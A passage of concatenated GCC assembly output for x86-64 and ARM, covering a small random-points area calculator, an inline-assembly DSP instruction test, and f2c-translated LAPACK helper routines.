movq xmm0, rax
call sqrt@PLT
cvtsd2ss xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size calcularAltura, .-calcularAltura
.section .rodata
.align 8
.LC3:
.long 0
.long 1073741824
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "478017.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #56
mov r0, r3
bl lerPontos
sub r3, fp, #56
mov r0, r3
bl calcularArea
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC0
.size main, .-main
.global __aeabi_i2f
.align 2
.global lerPontos
.syntax unified
.arm
.fpu softvfp
.type lerPontos, %function
lerPontos:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
str r0, [fp, #-24]
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl srand
mov r3, #0
str r3, [fp, #-16]
b .L7
.L8:
bl rand
mov r2, r0
ldr r3, .L9
smull r1, r3, r2, r3
add r3, r3, r2
asr r1, r3, #3
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #4
sub r3, r3, r1
sub r1, r2, r3
add r1, r1, #1
ldr r3, [fp, #-16]
lsl r3, r3, #4
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl __aeabi_i2f
mov r3, r0
str r3, [r4] @ float
bl rand
mov r2, r0
ldr r3, .L9
smull r1, r3, r2, r3
add r3, r3, r2
asr r1, r3, #3
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #4
sub r3, r3, r1
sub r1, r2, r3
add r1, r1, #1
ldr r3, [fp, #-16]
lsl r3, r3, #4
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl __aeabi_i2f
mov r3, r0
str r3, [r4, #4] @ float
bl rand
mov r2, r0
ldr r3, .L9
smull r1, r3, r2, r3
add r3, r3, r2
asr r1, r3, #3
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #4
sub r3, r3, r1
sub r1, r2, r3
add r1, r1, #1
ldr r3, [fp, #-16]
lsl r3, r3, #4
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl __aeabi_i2f
mov r3, r0
str r3, [r4, #8] @ float
bl rand
mov r2, r0
ldr r3, .L9
smull r1, r3, r2, r3
add r3, r3, r2
asr r1, r3, #3
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #4
sub r3, r3, r1
sub r1, r2, r3
add r1, r1, #1
ldr r3, [fp, #-16]
lsl r3, r3, #4
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl __aeabi_i2f
mov r3, r0
str r3, [r4, #12] @ float
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L7:
ldr r3, [fp, #-16]
cmp r3, #2
ble .L8
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L10:
.align 2
.L9:
.word -2004318071
.size lerPontos, .-lerPontos
.global __aeabi_f2d
.section .rodata
.align 2
.LC1:
.ascii "ponto A (%.2f;%.2f)\012\000"
.align 2
.LC2:
.ascii "ponto B (%.2f;%.2f)\012\000"
.global __aeabi_fmul
.align 2
.LC3:
.ascii "Area = %.2f\012\012\000"
.text
.align 2
.global calcularArea
.syntax unified
.arm
.fpu softvfp
.type calcularArea, %function
calcularArea:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #32
str r0, [fp, #-32]
mov r3, #0
str r3, [fp, #-24]
b .L12
.L13:
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #4] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L14
bl printf
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #8] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3, #12] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L14+4
bl printf
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldm r3, {r0, r1, r2, r3}
bl calcularBase
str r0, [fp, #-20] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #4
ldr r2, [fp, #-32]
add r3, r2, r3
ldm r3, {r0, r1, r2, r3}
bl calcularAltura
str r0, [fp, #-16] @ float
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-20] @ float
bl __aeabi_fmul
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L14+8
bl printf
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L12:
ldr r3, [fp, #-24]
cmp r3, #2
ble .L13
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L15:
.align 2
.L14:
.word .LC1
.word .LC2
.word .LC3
.size calcularArea, .-calcularArea
.global __aeabi_fsub
.global __aeabi_d2f
.align 2
.global calcularBase
.syntax unified
.arm
.fpu softvfp
.type calcularBase, %function
calcularBase:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
sub ip, fp, #28
stm ip, {r0, r1, r2, r3}
ldr r3, [fp, #-28] @ float
ldr r2, [fp, #-20] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-8] @ float
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size calcularBase, .-calcularBase
.align 2
.global calcularAltura
.syntax unified
.arm
.fpu softvfp
.type calcularAltura, %function
calcularAltura:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
sub ip, fp, #28
stm ip, {r0, r1, r2, r3}
ldr r3, [fp, #-24] @ float
ldr r2, [fp, #-16] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-8] @ float
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size calcularAltura, .-calcularAltura
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "591524.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "the_stack_data/591524.c"
.LC1:
.string "rt == result"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -16[rbp], 773
mov DWORD PTR -12[rbp], 305419896
mov DWORD PTR -8[rbp], -2023406815
mov DWORD PTR -4[rbp], 305419320
mov edx, DWORD PTR -8[rbp]
mov ecx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
#APP
# 14 "the_stack_data/591524.c" 1
wrdsp ecx, 0x03
insv eax, edx
# 0 "" 2
#NO_APP
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -4[rbp]
je .L2
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 20
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call __assert_fail@PLT
.L2:
mov DWORD PTR -16[rbp], 4096
mov DWORD PTR -12[rbp], -252645136
mov DWORD PTR -8[rbp], -1515870811
mov DWORD PTR -4[rbp], -1515870811
mov edx, DWORD PTR -8[rbp]
mov ecx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
#APP
# 27 "the_stack_data/591524.c" 1
wrdsp ecx
insv eax, edx
# 0 "" 2
#NO_APP
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -4[rbp]
je .L3
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 33
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call __assert_fail@PLT
.L3:
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.type __PRETTY_FUNCTION__.0, @object
.size __PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
.string "main"
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "591524.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "the_stack_data/591524.c\000"
.align 2
.LC1:
.ascii "rt == result\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L5
str r3, [fp, #-20]
ldr r3, .L5+4
str r3, [fp, #-16]
ldr r3, .L5+8
str r3, [fp, #-12]
ldr r3, .L5+12
str r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r1, [fp, #-20]
ldr r3, [fp, #-16]
.syntax divided
@ 14 "the_stack_data/591524.c" 1
wrdsp r1, 0x03
insv r3, r2
@ 0 "" 2
.arm
.syntax unified
str r3, [fp, #-16]
ldr r2, [fp, #-16]
ldr r3, [fp, #-8]
cmp r2, r3
beq .L2
ldr r3, .L5+16
mov r2, #20
ldr r1, .L5+20
ldr r0, .L5+24
bl __assert_fail
.L2:
mov r3, #4096
str r3, [fp, #-20]
ldr r3, .L5+28
str r3, [fp, #-16]
ldr r3, .L5+32
str r3, [fp, #-12]
ldr r3, .L5+32
str r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r1, [fp, #-20]
ldr r3, [fp, #-16]
.syntax divided
@ 27 "the_stack_data/591524.c" 1
wrdsp r1
insv r3, r2
@ 0 "" 2
.arm
.syntax unified
str r3, [fp, #-16]
ldr r2, [fp, #-16]
ldr r3, [fp, #-8]
cmp r2, r3
beq .L3
ldr r3, .L5+16
mov r2, #33
ldr r1, .L5+20
ldr r0, .L5+24
bl __assert_fail
.L3:
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word 773
.word 305419896
.word -2023406815
.word 305419320
.word __PRETTY_FUNCTION__.4618
.word .LC0
.word .LC1
.word -252645136
.word -1515870811
.size main, .-main
.section .rodata
.align 2
.type __PRETTY_FUNCTION__.4618, %object
.size __PRETTY_FUNCTION__.4618, 5
__PRETTY_FUNCTION__.4618:
.ascii "main\000"
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "111180.c"
.intel_syntax noprefix
.text
.data
.align 16
.type junk, @object
.size junk, 30
junk:
.string "\n@(#)LIBF77 VERSION 19990503\n"
.text
.type spow_ui, @function
spow_ui:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov DWORD PTR -24[rbp], edi
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -12[rbp], xmm0
cmp DWORD PTR -24[rbp], 0
je .L2
cmp DWORD PTR -24[rbp], 0
jns .L3
neg DWORD PTR -24[rbp]
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -20[rbp], xmm0
.L3:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L7:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L4
movss xmm0, DWORD PTR -12[rbp]
mulss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -12[rbp], xmm0
.L4:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L9
movss xmm0, DWORD PTR -20[rbp]
mulss xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
jmp .L7
.L9:
nop
.L2:
movss xmm0, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size spow_ui, .-spow_ui
.type dpow_ui, @function
dpow_ui:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov DWORD PTR -28[rbp], edi
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -28[rbp], 0
je .L11
cmp DWORD PTR -28[rbp], 0
jns .L12
neg DWORD PTR -28[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
divsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L12:
mov eax, DWORD PTR -28[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L16:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L13
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -16[rbp], xmm0
.L13:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L18
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
jmp .L16
.L18:
nop
.L11:
movsd xmm0, QWORD PTR -16[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size dpow_ui, .-dpow_ui
.type cpow_ui, @function
cpow_ui:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
movq rax, xmm0
mov QWORD PTR -40[rbp], rax
movss xmm1, DWORD PTR -40[rbp]
movss xmm0, DWORD PTR -36[rbp]
movss DWORD PTR -48[rbp], xmm1
movss DWORD PTR -44[rbp], xmm0
mov DWORD PTR -52[rbp], edi
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
cmp DWORD PTR -52[rbp], 0
je .L27
cmp DWORD PTR -52[rbp], 0
jns .L21
neg DWORD PTR -52[rbp]
movss xmm1, DWORD PTR -28[rbp]
movss xmm0, DWORD PTR -32[rbp]
movaps xmm3, xmm1
movaps xmm2, xmm0
pxor xmm1, xmm1
movss xmm0, DWORD PTR .LC0[rip]
call __divsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
.L21:
mov eax, DWORD PTR -52[rbp]
cdqe
mov QWORD PTR -16[rbp], rax
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
.L25:
mov rax, QWORD PTR -16[rbp]
and eax, 1
test rax, rax
je .L22
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -8[rbp], rax
movss xmm0, DWORD PTR -8[rbp]
movss DWORD PTR -24[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
movss DWORD PTR -20[rbp], xmm0
.L22:
shr QWORD PTR -16[rbp]
cmp QWORD PTR -16[rbp], 0
je .L28
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
jmp .L25
.L27:
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
jmp .L20
.L28:
nop
.L20:
movss xmm1, DWORD PTR -24[rbp]
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -60[rbp], xmm1
movss DWORD PTR -56[rbp], xmm0
mov rax, QWORD PTR -60[rbp]
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size cpow_ui, .-cpow_ui
.type zpow_ui, @function
zpow_ui:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
movq rax, xmm0
movapd xmm0, xmm1
mov rdx, rax
movq rax, xmm0
movq xmm1, rdx
movq xmm0, rax
movsd QWORD PTR -80[rbp], xmm1
movsd QWORD PTR -72[rbp], xmm0
mov DWORD PTR -84[rbp], edi
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
cmp DWORD PTR -84[rbp], 0
je .L37
cmp DWORD PTR -84[rbp], 0
jns .L31
neg DWORD PTR -84[rbp]
movsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR -48[rbp]
mov rax, QWORD PTR .LC1[rip]
movapd xmm3, xmm1
movapd xmm2, xmm0
pxor xmm1, xmm1
movq xmm0, rax
call __divdc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
.L31:
mov eax, DWORD PTR -84[rbp]
cdqe
mov QWORD PTR -56[rbp], rax
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
.L35:
mov rax, QWORD PTR -56[rbp]
and eax, 1
test rax, rax
je .L32
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -24[rbp]
mov rax, QWORD PTR -32[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -16[rbp], rax
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L32:
shr QWORD PTR -56[rbp]
cmp QWORD PTR -56[rbp], 0
je .L38
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
jmp .L35
.L37:
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
jmp .L30
.L38:
nop
.L30:
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm1
movq rdx, xmm0
movq xmm1, rdx
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size zpow_ui, .-zpow_ui
.type pow_ii, @function
pow_ii:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
cmp DWORD PTR -24[rbp], 0
jg .L40
cmp DWORD PTR -24[rbp], 0
je .L41
cmp DWORD PTR -20[rbp], 1
jne .L42
.L41:
mov DWORD PTR -12[rbp], 1
jmp .L40
.L42:
cmp DWORD PTR -20[rbp], -1
je .L43
cmp DWORD PTR -20[rbp], 0
jne .L44
mov eax, 1
cdq
idiv DWORD PTR -20[rbp]
jmp .L45
.L44:
mov eax, 0
.L45:
mov DWORD PTR -12[rbp], eax
jmp .L40
.L43:
neg DWORD PTR -24[rbp]
.L40:
cmp DWORD PTR -24[rbp], 0
jg .L46
cmp DWORD PTR -24[rbp], 0
je .L47
cmp DWORD PTR -20[rbp], 1
je .L47
cmp DWORD PTR -20[rbp], -1
jne .L47
.L46:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -12[rbp], 1
.L51:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L48
mov eax, DWORD PTR -12[rbp]
imul eax, DWORD PTR -20[rbp]
mov DWORD PTR -12[rbp], eax
.L48:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L53
mov eax, DWORD PTR -20[rbp]
imul eax, eax
mov DWORD PTR -20[rbp], eax
jmp .L51
.L53:
nop
.L47:
mov eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size pow_ii, .-pow_ii
.type dmaxloc_, @function
dmaxloc_:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -16[rbp], eax
jmp .L55
.L58:
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
comisd xmm0, QWORD PTR -8[rbp]
jbe .L56
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
.L56:
add DWORD PTR -16[rbp], 1
.L55:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L58
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size dmaxloc_, .-dmaxloc_
.type smaxloc_, @function
smaxloc_:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -8[rbp], eax
jmp .L62
.L65:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
comiss xmm0, DWORD PTR -12[rbp]
jbe .L63
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
.L63:
add DWORD PTR -8[rbp], 1
.L62:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L65
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size smaxloc_, .-smaxloc_
.data
.align 4
.type c__1, @object
.size c__1, 4
c__1:
.long 1
.align 8
.type c_b10, @object
.size c_b10, 8
c_b10:
.long 0
.long -1074790400
.align 8
.type c_b12, @object
.size c_b12, 8
c_b12:
.long 0
.long 1072693248
.section .rodata
.LC4:
.string "U"
.LC5:
.string "L"
.LC6:
.string "DPOTF2"
.LC7:
.string "Transpose"
.LC8:
.string "No transpose"
.text
.globl dpotf2_
.type dpotf2_, @function
dpotf2_:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov QWORD PTR -72[rbp], rdi
mov QWORD PTR -80[rbp], rsi
mov QWORD PTR -88[rbp], rdx
mov QWORD PTR -96[rbp], rcx
mov QWORD PTR -104[rbp], r8
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -96[rbp]
mov eax, DWORD PTR [rax]
